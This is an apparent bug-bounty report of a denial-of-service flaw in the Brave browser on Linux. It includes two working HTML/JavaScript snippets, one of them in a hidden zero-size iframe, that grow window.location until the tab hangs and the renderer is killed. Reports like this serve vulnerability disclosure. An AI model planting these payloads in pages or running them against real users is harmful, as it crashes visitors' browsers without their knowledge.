Uncontrolled Resource Consumption
## Summary: brave browser hangs due to no validation for a code snippet causing denial of service to users. ## Products affected: latest brave browser in linux ## Steps To Reproduce: code snippet:- 1) <script>window.location+='?\u202a\uFEFF\u202b';</script> OR 2) <iframe style="width:0;height:0;border:0" src="blocked:text/html;charset=utf-8,<script>window.location+='?'+window.location.toString().split('');</script>"> Note :- both these issues have been fixed in google chrome and firefox gives some delay time to close tabs. This is a variation of "a = a + a" that creates a very long URL. on my machine the renderer eventually is killed when the URL gets too large. ## Supporting Material/References: i have attached both html files you can open them up and see browser hang.
